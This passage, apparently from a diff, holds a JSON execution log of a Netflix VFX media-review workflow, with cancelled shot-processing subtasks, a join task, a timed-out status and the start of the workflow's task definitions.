"processshot", + "scheduledTime": 1608154318379, + "startTime": 1608154318538, + "endTime": 1608173718867, + "updateTime": 1608154318720, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "637364c4-31bf-4c50-8c81-c04d1dafe27f", + "workflowType": "pipelines.vfxmediareview", + "taskId": "30f507f2-fc34-4123-9ffb-07af344a56b0", + "callbackAfterSeconds": 30, + "outputData": { + "subWorkflowId": "5f8285f0-72de-4233-a201-1599b558e645" + }, + "workflowTask": { + "name": "processshot", + "taskReferenceName": "processshot_4cf45860-3fe3-11eb-8740-12f4b5a75f47_1.2", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.shotprocessing_v2" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subWorkflowId": "5f8285f0-72de-4233-a201-1599b558e645", + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": 47847211706, + "loopOverTask": false + }, + { + "taskType": "SUB_WORKFLOW", + "status": "CANCELED", + "inputData": { + "playlistId": 375594, + "metadata": { + "submission_note": null, + "version_name": null, + "scope_of_work": null, + "reason_for_review": "• *SUBMITTING FOR* - null\n• *SCOPE OF WORK* - null\n• *NOTES* - null", + "vendor": null, + "link": null, + "submitting_for": null, + "sort_order": null + }, + "subWorkflowTaskToDomain": null, + "subWorkflowName": "vfxmediareview.shotprocessing_v2", + "reviewAssetId": { + "versionId": "1.4", + "id": "4f943090-3fe3-11eb-9af1-12a7f1c641e3" + }, + "vendorId": null, + "shotname": null, + "topLevelAssetId": { + "versionId": "1.2", + "id": "4f936d40-3fe3-11eb-9af1-12a7f1c641e3" + }, + "vendorName": "Netflix", + "reviewProjectId": "222", + "subWorkflowVersion": 1, + "playlistName": "HUB-3087_20201216_01", + "subWorkflowDefinition": null, + "workflowInput": {}, + "sgAmpRefId": "4f936d40-3fe3-11eb-9af1-12a7f1c641e3:1.2", + "reviewServer": "netflix-review-staging.shotgunstudio.com" + }, + "referenceTaskName": "processshot_4f936d40-3fe3-11eb-9af1-12a7f1c641e3_1.2", + "retryCount": 0, + "seq": 54, + "correlationId": "6980f3f8-9077-45ca-9f0f-5d9545799a61", + "pollCount": 1, + "taskDefName": "processshot", + "scheduledTime": 1608154318382, + "startTime": 1608154318569, + "endTime": 1608173719056, + "updateTime": 1608154318774, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "637364c4-31bf-4c50-8c81-c04d1dafe27f", + "workflowType": "pipelines.vfxmediareview", + "taskId": "fa90e44a-d68c-40b8-84a7-ebbcd21b94e3", + "callbackAfterSeconds": 30, + "outputData": { + "subWorkflowId": "ef25bcc5-f5e6-4172-99f5-7fb76b1f11f8" + }, + "workflowTask": { + "name": "processshot", + "taskReferenceName": "processshot_4f936d40-3fe3-11eb-9af1-12a7f1c641e3_1.2", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.shotprocessing_v2" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subWorkflowId": "ef25bcc5-f5e6-4172-99f5-7fb76b1f11f8", + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": 47847211652, + "loopOverTask": false + }, + { + "taskType": "SUB_WORKFLOW", + "status": "CANCELED", + "inputData": { + "playlistId": 375594, + "metadata": { + "submission_note": null, + "version_name": null, + "scope_of_work": null, + "reason_for_review": "• *SUBMITTING FOR* - null\n• *SCOPE OF WORK* - null\n• *NOTES* - null", + "vendor": null, + "link": null, + "submitting_for": null, + "sort_order": null + }, + "subWorkflowTaskToDomain": null, + "subWorkflowName": "vfxmediareview.shotprocessing_v2", + "reviewAssetId": { + "versionId": "1.4", + "id": "52576f40-3fe3-11eb-8a3e-12ffdb69dc47" + }, + "vendorId": null, + "shotname": null, + "topLevelAssetId": { + "versionId": "1.2", + "id": "5256abf0-3fe3-11eb-8a3e-12ffdb69dc47" + }, + "vendorName": "Netflix", + "reviewProjectId": "222", + "subWorkflowVersion": 1, + "playlistName": "HUB-3087_20201216_01", + "subWorkflowDefinition": null, + "workflowInput": {}, + "sgAmpRefId": "5256abf0-3fe3-11eb-8a3e-12ffdb69dc47:1.2", + "reviewServer": "netflix-review-staging.shotgunstudio.com" + }, + "referenceTaskName": "processshot_5256abf0-3fe3-11eb-8a3e-12ffdb69dc47_1.2", + "retryCount": 0, + "seq": 55, + "correlationId": "6980f3f8-9077-45ca-9f0f-5d9545799a61", + "pollCount": 1, + "taskDefName": "processshot", + "scheduledTime": 1608154318384, + "startTime": 1608154318582, + "endTime": 1608173719208, + "updateTime": 1608154318774, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "637364c4-31bf-4c50-8c81-c04d1dafe27f", + "workflowType": "pipelines.vfxmediareview", + "taskId": "0cde3f5c-3fb0-4c4e-b74c-3a7bcabf892c", + "callbackAfterSeconds": 30, + "outputData": { + "subWorkflowId": "28564fa1-c0d3-45fa-948d-969c09f49af5" + }, + "workflowTask": { + "name": "processshot", + "taskReferenceName": "processshot_5256abf0-3fe3-11eb-8a3e-12ffdb69dc47_1.2", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.shotprocessing_v2" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subWorkflowId": "28564fa1-c0d3-45fa-948d-969c09f49af5", + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": 47847211652, + "loopOverTask": false + }, + { + "taskType": "SUB_WORKFLOW", + "status": "CANCELED", + "inputData": { + "playlistId": 375594, + "metadata": { + "submission_note": null, + "version_name": null, + "scope_of_work": null, + "reason_for_review": "• *SUBMITTING FOR* - null\n• *SCOPE OF WORK* - null\n• *NOTES* - null", + "vendor": null, + "link": null, + "submitting_for": null, + "sort_order": null + }, + "subWorkflowTaskToDomain": null, + "subWorkflowName": "vfxmediareview.shotprocessing_v2", + "reviewAssetId": { + "versionId": "1.4", + "id": "54ec9910-3fe3-11eb-bd3b-1230be2091b7" + }, + "vendorId": null, + "shotname": null, + "topLevelAssetId": { + "versionId": "1.2", + "id": "54ebd5c0-3fe3-11eb-bd3b-1230be2091b7" + }, + "vendorName": "Netflix", + "reviewProjectId": "222", + "subWorkflowVersion": 1, + "playlistName": "HUB-3087_20201216_01", + "subWorkflowDefinition": null, + "workflowInput": {}, + "sgAmpRefId": "54ebd5c0-3fe3-11eb-bd3b-1230be2091b7:1.2", + "reviewServer": "netflix-review-staging.shotgunstudio.com" + }, + "referenceTaskName": "processshot_54ebd5c0-3fe3-11eb-bd3b-1230be2091b7_1.2", + "retryCount": 0, + "seq": 56, + "correlationId": "6980f3f8-9077-45ca-9f0f-5d9545799a61", + "pollCount": 1, + "taskDefName": "processshot", + "scheduledTime": 1608154318386, + "startTime": 1608154318637, + "endTime": 1608173719368, + "updateTime": 1608154318882, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "637364c4-31bf-4c50-8c81-c04d1dafe27f", + "workflowType": "pipelines.vfxmediareview", + "taskId": "88595b13-34e2-4442-994d-2875f21f44f7", + "callbackAfterSeconds": 30, + "outputData": { + "subWorkflowId": "ebce2351-2ce2-4920-899d-fffbf66be4f4" + }, + "workflowTask": { + "name": "processshot", + "taskReferenceName": "processshot_54ebd5c0-3fe3-11eb-bd3b-1230be2091b7_1.2", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.shotprocessing_v2" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subWorkflowId": "ebce2351-2ce2-4920-899d-fffbf66be4f4", + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": 47847211544, + "loopOverTask": false + }, + { + "taskType": "SUB_WORKFLOW", + "status": "CANCELED", + "inputData": { + "playlistId": 375594, + "metadata": { + "submission_note": null, + "version_name": null, + "scope_of_work": null, + "reason_for_review": "• *SUBMITTING FOR* - null\n• *SCOPE OF WORK* - null\n• *NOTES* - null", + "vendor": null, + "link": null, + "submitting_for": null, + "sort_order": null + }, + "subWorkflowTaskToDomain": null, + "subWorkflowName": "vfxmediareview.shotprocessing_v2", + "reviewAssetId": { + "versionId": "1.4", + "id": "57784d02-3fe3-11eb-9af1-12a7f1c641e3" + }, + "vendorId": null, + "shotname": null, + "topLevelAssetId": { + "versionId": "1.2", + "id": "57784d00-3fe3-11eb-9af1-12a7f1c641e3" + }, + "vendorName": "Netflix", + "reviewProjectId": "222", + "subWorkflowVersion": 1, + "playlistName": "HUB-3087_20201216_01", + "subWorkflowDefinition": null, + "workflowInput": {}, + "sgAmpRefId": "57784d00-3fe3-11eb-9af1-12a7f1c641e3:1.2", + "reviewServer": "netflix-review-staging.shotgunstudio.com" + }, + "referenceTaskName": "processshot_57784d00-3fe3-11eb-9af1-12a7f1c641e3_1.2", + "retryCount": 0, + "seq": 57, + "correlationId": "6980f3f8-9077-45ca-9f0f-5d9545799a61", + "pollCount": 1, + "taskDefName": "processshot", + "scheduledTime": 1608154318387, + "startTime": 1608154318657, + "endTime": 1608173719530, + "updateTime": 1608154318987, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "637364c4-31bf-4c50-8c81-c04d1dafe27f", + "workflowType": "pipelines.vfxmediareview", + "taskId": "f2e835e5-ce1b-4d9b-91f7-5ffa5b43a40e", + "callbackAfterSeconds": 30, + "outputData": { + "subWorkflowId": "7e326487-f315-43b6-aab4-279c82155132" + }, + "workflowTask": { + "name": "processshot", + "taskReferenceName": "processshot_57784d00-3fe3-11eb-9af1-12a7f1c641e3_1.2", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.shotprocessing_v2" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subWorkflowId": "7e326487-f315-43b6-aab4-279c82155132", + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": 47847211439, + "loopOverTask": false + }, + { + "taskType": "SUB_WORKFLOW", + "status": "CANCELED", + "inputData": { + "playlistId": 375594, + "metadata": { + "submission_note": null, + "version_name": null, + "scope_of_work": null, + "reason_for_review": "• *SUBMITTING FOR* - null\n• *SCOPE OF WORK* - null\n• *NOTES* - null", + "vendor": null, + "link": null, + "submitting_for": null, + "sort_order": null + }, + "subWorkflowTaskToDomain": null, + "subWorkflowName": "vfxmediareview.shotprocessing_v2", + "reviewAssetId": { + "versionId": "1.4", + "id": "59f3ad42-3fe3-11eb-8a3e-12ffdb69dc47" + }, + "vendorId": null, + "shotname": null, + "topLevelAssetId": { + "versionId": "1.2", + "id": "59f3ad40-3fe3-11eb-8a3e-12ffdb69dc47" + }, + "vendorName": "Netflix", + "reviewProjectId": "222", + "subWorkflowVersion": 1, + "playlistName": "HUB-3087_20201216_01", + "subWorkflowDefinition": null, + "workflowInput": {}, + "sgAmpRefId": "59f3ad40-3fe3-11eb-8a3e-12ffdb69dc47:1.2", + "reviewServer": "netflix-review-staging.shotgunstudio.com" + }, + "referenceTaskName": "processshot_59f3ad40-3fe3-11eb-8a3e-12ffdb69dc47_1.2", + "retryCount": 0, + "seq": 58, + "correlationId": "6980f3f8-9077-45ca-9f0f-5d9545799a61", + "pollCount": 1, + "taskDefName": "processshot", + "scheduledTime": 1608154318390, + "startTime": 1608154318739, + "endTime": 1608173719684, + "updateTime": 1608154318987, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "637364c4-31bf-4c50-8c81-c04d1dafe27f", + "workflowType": "pipelines.vfxmediareview", + "taskId": "74fbb03c-5a2c-46e9-b429-19053cd1a3ec", + "callbackAfterSeconds": 30, + "outputData": { + "subWorkflowId": "2be7d404-3732-4e90-88e5-b0b221aeeda1" + }, + "workflowTask": { + "name": "processshot", + "taskReferenceName": "processshot_59f3ad40-3fe3-11eb-8a3e-12ffdb69dc47_1.2", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.shotprocessing_v2" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subWorkflowId": "2be7d404-3732-4e90-88e5-b0b221aeeda1", + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": 47847211439, + "loopOverTask": false + }, + { + "taskType": "SUB_WORKFLOW", + "status": "CANCELED", + "inputData": { + "playlistId": 375594, + "metadata": { + "submission_note": null, + "version_name": null, + "scope_of_work": null, + "reason_for_review": "• *SUBMITTING FOR* - null\n• *SCOPE OF WORK* - null\n��� *NOTES* - null", + "vendor": null, + "link": null, + "submitting_for": null, + "sort_order": null + }, + "subWorkflowTaskToDomain": null, + "subWorkflowName": "vfxmediareview.shotprocessing_v2", + "reviewAssetId": { + "versionId": "1.4", + "id": "5c52abe1-3fe3-11eb-9af1-12a7f1c641e3" + }, + "vendorId": null, + "shotname": null, + "topLevelAssetId": { + "versionId": "1.2", + "id": "5c51e890-3fe3-11eb-9af1-12a7f1c641e3" + }, + "vendorName": "Netflix", + "reviewProjectId": "222", + "subWorkflowVersion": 1, + "playlistName": "HUB-3087_20201216_01", + "subWorkflowDefinition": null, + "workflowInput": {}, + "sgAmpRefId": "5c51e890-3fe3-11eb-9af1-12a7f1c641e3:1.2", + "reviewServer": "netflix-review-staging.shotgunstudio.com" + }, + "referenceTaskName": "processshot_5c51e890-3fe3-11eb-9af1-12a7f1c641e3_1.2", + "retryCount": 0, + "seq": 59, + "correlationId": "6980f3f8-9077-45ca-9f0f-5d9545799a61", + "pollCount": 1, + "taskDefName": "processshot", + "scheduledTime": 1608154318393, + "startTime": 1608154318748, + "endTime": 1608173719850, + "updateTime": 1608154319021, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "637364c4-31bf-4c50-8c81-c04d1dafe27f", + "workflowType": "pipelines.vfxmediareview", + "taskId": "abb3eebf-8430-446a-a5fa-dd26cf367a95", + "callbackAfterSeconds": 30, + "outputData": { + "subWorkflowId": "8f3e3098-72c7-40b7-8547-4cc2293a6def" + }, + "workflowTask": { + "name": "processshot", + "taskReferenceName": "processshot_5c51e890-3fe3-11eb-9af1-12a7f1c641e3_1.2", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.shotprocessing_v2" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subWorkflowId": "8f3e3098-72c7-40b7-8547-4cc2293a6def", + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": 47847211405, + "loopOverTask": false + }, + { + "taskType": "SUB_WORKFLOW", + "status": "CANCELED", + "inputData": { + "playlistId": 375594, + "metadata": { + "submission_note": null, + "version_name": null, + "scope_of_work": null, + "reason_for_review": "• *SUBMITTING FOR* - null\n• *SCOPE OF WORK* - null\n• *NOTES* - null", + "vendor": null, + "link": null, + "submitting_for": null, + "sort_order": null + }, + "subWorkflowTaskToDomain": null, + "subWorkflowName": "vfxmediareview.shotprocessing_v2", + "reviewAssetId": { + "versionId": "1.4", + "id": "5ec02971-3fe3-11eb-bd3b-1230be2091b7" + }, + "vendorId": null, + "shotname": null, + "topLevelAssetId": { + "versionId": "1.2", + "id": "5ec00260-3fe3-11eb-bd3b-1230be2091b7" + }, + "vendorName": "Netflix", + "reviewProjectId": "222", + "subWorkflowVersion": 1, + "playlistName": "HUB-3087_20201216_01", + "subWorkflowDefinition": null, + "workflowInput": {}, + "sgAmpRefId": "5ec00260-3fe3-11eb-bd3b-1230be2091b7:1.2", + "reviewServer": "netflix-review-staging.shotgunstudio.com" + }, + "referenceTaskName": "processshot_5ec00260-3fe3-11eb-bd3b-1230be2091b7_1.2", + "retryCount": 0, + "seq": 60, + "correlationId": "6980f3f8-9077-45ca-9f0f-5d9545799a61", + "pollCount": 1, + "taskDefName": "processshot", + "scheduledTime": 1608154318394, + "startTime": 1608154318871, + "endTime": 1608173719989, + "updateTime": 1608154319182, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "637364c4-31bf-4c50-8c81-c04d1dafe27f", + "workflowType": "pipelines.vfxmediareview", + "taskId": "69630514-33df-42ba-805e-af17760ba111", + "callbackAfterSeconds": 30, + "outputData": { + "subWorkflowId": "b53c817d-19a5-436e-b26c-0b57d334b122" + }, + "workflowTask": { + "name": "processshot", + "taskReferenceName": "processshot_5ec00260-3fe3-11eb-bd3b-1230be2091b7_1.2", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.shotprocessing_v2" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subWorkflowId": "b53c817d-19a5-436e-b26c-0b57d334b122", + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": 47847211244, + "loopOverTask": false + }, + { + "taskType": "JOIN", + "status": "CANCELED", + "inputData": { + "joinOn": [ + "processshot_4cf45860-3fe3-11eb-8740-12f4b5a75f47_1.2", + "processshot_4f936d40-3fe3-11eb-9af1-12a7f1c641e3_1.2", + "processshot_5256abf0-3fe3-11eb-8a3e-12ffdb69dc47_1.2", + "processshot_54ebd5c0-3fe3-11eb-bd3b-1230be2091b7_1.2", + "processshot_57784d00-3fe3-11eb-9af1-12a7f1c641e3_1.2", + "processshot_59f3ad40-3fe3-11eb-8a3e-12ffdb69dc47_1.2", + "processshot_5c51e890-3fe3-11eb-9af1-12a7f1c641e3_1.2", + "processshot_5ec00260-3fe3-11eb-bd3b-1230be2091b7_1.2" + ] + }, + "referenceTaskName": "shot_processing_join", + "retryCount": 0, + "seq": 61, + "correlationId": "6980f3f8-9077-45ca-9f0f-5d9545799a61", + "pollCount": 0, + "taskDefName": "JOIN", + "scheduledTime": 1608154318395, + "startTime": 1608154318407, + "endTime": 1608173719994, + "updateTime": 1608154318407, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "637364c4-31bf-4c50-8c81-c04d1dafe27f", + "workflowType": "pipelines.vfxmediareview", + "taskId": "80a2e505-2f54-4d40-bcee-17f8c6a39b71", + "callbackAfterSeconds": 0, + "outputData": { + "processshot_59f3ad40-3fe3-11eb-8a3e-12ffdb69dc47_1.2": {}, + "processshot_5c51e890-3fe3-11eb-9af1-12a7f1c641e3_1.2": {}, + "processshot_54ebd5c0-3fe3-11eb-bd3b-1230be2091b7_1.2": {}, + "processshot_4cf45860-3fe3-11eb-8740-12f4b5a75f47_1.2": {}, + "processshot_5ec00260-3fe3-11eb-bd3b-1230be2091b7_1.2": {}, + "processshot_4f936d40-3fe3-11eb-9af1-12a7f1c641e3_1.2": {}, + "processshot_5256abf0-3fe3-11eb-8a3e-12ffdb69dc47_1.2": {}, + "processshot_57784d00-3fe3-11eb-9af1-12a7f1c641e3_1.2": {} + }, + "workflowTask": { + "name": "shot_processing_join", + "taskReferenceName": "shot_processing_join", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": 12, + "loopOverTask": false + } + ], + "input": { + "pipelineInput": { + "pipelineConfig": { + "requestNamespace": "pipelines", + "requestType": "vfxmediareview", + "type": "vfxmediareview" + }, + "primaryRequestNamespace": "pipelines", + "primaryRequestId": "20fa83b7-9b91-406a-9644-4fd62aea8b4b", + "user": "jcronk@netflix.com", + "inputParameters": { + "submissionId": "HUB-3087_20201216_01", + "ownerUser": "jcronk@netflix.com", + "submissionNodeId": "229590a0-3fe5-11eb-9910-12d0bc41bfa1", + "vendorId": null, + "reviewType": "PRODUCTION", + "movieId": 81112280, + "projectId": "92311fe0-5bd7-11e9-b8ed-0e4d3942d506" + }, + "pipelineId": "6980f3f8-9077-45ca-9f0f-5d9545799a61", + "primaryRequestType": "vfxmediareview" + } + }, + "output": { + "processshot_59f3ad40-3fe3-11eb-8a3e-12ffdb69dc47_1.2": {}, + "processshot_5c51e890-3fe3-11eb-9af1-12a7f1c641e3_1.2": {}, + "processshot_54ebd5c0-3fe3-11eb-bd3b-1230be2091b7_1.2": {}, + "processshot_4cf45860-3fe3-11eb-8740-12f4b5a75f47_1.2": {}, + "processshot_5ec00260-3fe3-11eb-bd3b-1230be2091b7_1.2": {}, + "processshot_4f936d40-3fe3-11eb-9af1-12a7f1c641e3_1.2": {}, + "processshot_5256abf0-3fe3-11eb-8a3e-12ffdb69dc47_1.2": {}, + "processshot_57784d00-3fe3-11eb-9af1-12a7f1c641e3_1.2": {} + }, + "correlationId": "6980f3f8-9077-45ca-9f0f-5d9545799a61", + "reasonForIncompletion": "Parent workflow has been terminated with status TIMED_OUT", + "taskToDomain": {}, + "failedReferenceTaskNames": [], + "workflowDefinition": { + "updateTime": 1608073180721, + "name": "pipelines.vfxmediareview", + "version": 1, + "tasks": [ + { + "name": "stl.pipeline.init", + "taskReferenceName": "initializePipeline", + "inputParameters": { + "pipelineId": "${workflow.input.pipelineInput.pipelineId}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082385855, + "createdBy": "CPEWORKFLOW", + "name": "stl.pipeline.init", + "description": "Initial task for all pipeline workflows", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["pipelineId"], + "outputKeys": ["pipeline"], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.pipeline.get", + "taskReferenceName": "pipelineData", + "inputParameters": { + "pipelineId": "${workflow.input.pipelineInput.pipelineId}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082385634, + "createdBy": "CPEWORKFLOW", + "name": "stl.pipeline.get", + "description": "Read pipeline given pipeline id", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["pipelineId"], + "outputKeys": ["pipeline"], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "reviewType", + "inputParameters": { + "inputData": "${pipelineData.output.request.request.data.reviewType}", + "expression": ". | ascii_downcase" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.getProjectSchema", + "taskReferenceName": "reviewServerSchema", + "inputParameters": { + "schemaGroup": "PIPELINE", + "schemaType": "${reviewType.output.result}review", + "projectId": "${pipelineData.output.request.request.data.projectId}", + "user": "contenthub-system-user@netflix.com" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1588011760479, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.getProjectSchema", + "description": "Get Project Schema", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["requestId"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "ownerEmail": "cpe-che-backend@netflix.com", + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "reviewServerConfig", + "inputParameters": { + "inputData": "${reviewServerSchema.output.output}", + "expression": ".[0].schema as $s | if $s.server == null or $s.projectId == null then error(\"Configuration cannot be null\") else $s end" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "vendorDetails", + "taskReferenceName": "vendorDetails", + "inputParameters": { + "vendorId": "${pipelineData.output.request.request.data.vendorId}" + }, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.vendordetails", + "version": 1 + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "cperequest_transition", + "taskReferenceName": "processSubmission", + "inputParameters": { + "namespace": "${pipelineData.output.request.request.namespace}", + "type": "${pipelineData.output.request.request.type}", + "requestId": "${pipelineData.output.request.request.id}", + "transitionName": "process", + "details": { + "skipPostProcess": true + }, + "skipIfInState": ["IN_PROGRESS"] + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "updateTime": 1604373979513, + "updatedBy": "cperequest", + "name": "cperequest_transition", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": [ + "namespace", + "type", + "requestId", + "transitionName", + "currentState", + "currentVersion", + "assignee", + "clearAssignee", + "dueDate", + "clearDueDate", + "skipIfInState", + "transitionDetails" + ], + "outputKeys": ["request"], + "timeoutPolicy": 